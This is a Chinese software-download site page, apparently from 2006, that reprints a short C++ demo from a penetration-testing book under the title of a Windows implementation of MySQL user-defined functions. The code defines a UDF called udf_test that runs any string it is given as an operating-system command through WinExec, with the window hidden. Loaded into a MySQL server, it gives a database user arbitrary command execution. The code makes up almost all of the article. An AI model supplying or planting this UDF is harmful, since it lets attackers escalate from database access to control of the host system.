文章分类 | 软件分类 | 最新软件 | 杀毒软件 | 实用软件  | MTV下载  | 设为首页 |
  | 下载分类 | 最近更新
您的位置: 首页 >> 文章首页 >> 技术开发 >> SQL 学院 >> MYSQL学院 >>  
MYSQL学院点击TOP10
·MySQL怎样处理一个溢出的磁盘2006-2-9 14:56:40
·SQL SERVER中直接循环写入数据2006-2-9 18:18:49
·VSFTP+MySQL虚拟用户配置过程讲解2006-2-9 10:08:54
·MySQL入门学习一2006-2-9 14:58:04
·从一个MysqL的例子来学习查询语句2006-2-9 14:58:01
·基于文本的访客签到簿2006-2-9 14:58:09
·MySQL 5.0 新特性教程 存储过程:第四讲2006-2-10 12:48:00
·一个用于MySQL的PHP XML类2006-2-9 17:34:54
·安装resin+mysql+IIS+JDK的总结2006-2-9 16:33:37
·如何把Access的数据导入到Mysql中2006-2-9 16:34:34
SQL 学院点击TOP10
·使用视图控制用户对数据访问2006-2-9 17:33:51
·ORACLE SQL性能优化系列(四)2006-2-9 18:00:47
·数据库升迁从sqlserver6.5到sqlserver20002006-2-9 17:36:12
·谈数据库中模糊数据的输入与判别2006-2-9 16:02:23
·sqlserver MSDTC的设置要点2006-2-10 11:41:22
·MySQL Join详解2006-2-9 16:57:36
·SQL Server 2000安装和基本框架2006-2-9 17:34:09
·asp实现sql的备份与恢复2006-2-9 9:39:30
·SQL数据操作基础中级62006-2-9 14:32:01
·MySQL怎样处理一个溢出的磁盘2006-2-9 14:56:40

 

MySQL自定义函数的Windows版本实现
作者:我去下载           时间:2006-2-5 18:51:29


/* my.cpp
*
* 《网络渗透技术》演示程序
* 作者:san, alert7, eyas, watercloud
*
* MySQL自定义函数的Windows版本实现
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

enum Item_result ;

typedef struct st_udf_args
{
unsigned int arg_count;        /* Number of arguments */
enum Item_result *arg_type;      /* Pointer to item_results */
char **args;             /* Pointer to argument */
unsigned long *lengths;        /* Length of string arguments */
char *maybe_null;           /* Set to 1 for all maybe_null args */
} UDF_ARGS;

/* This holds information about the result */

typedef struct st_udf_init
{
char maybe_null;           /* 1 if function can return NULL */
unsigned int decimals;        /* for real functions */
unsigned int max_length;       /* For string functions */
char  *ptr;             /* free pointer for function data */
char const_item;           /* 0 if result is independent of arguments */
} UDF_INIT;

extern "C" {
__declspec(dllexport) int udf_test(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);
}

int udf_test(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
  if( args->arg_count != 1 )
    return 0;

  WinExec( args->args[0], SW_HIDE );
  return 0;
}
分页:
相关文章:
Copyright© 2005-2006 wqxz.com, All Rights Reserved. 购买虚拟主机请与本站联系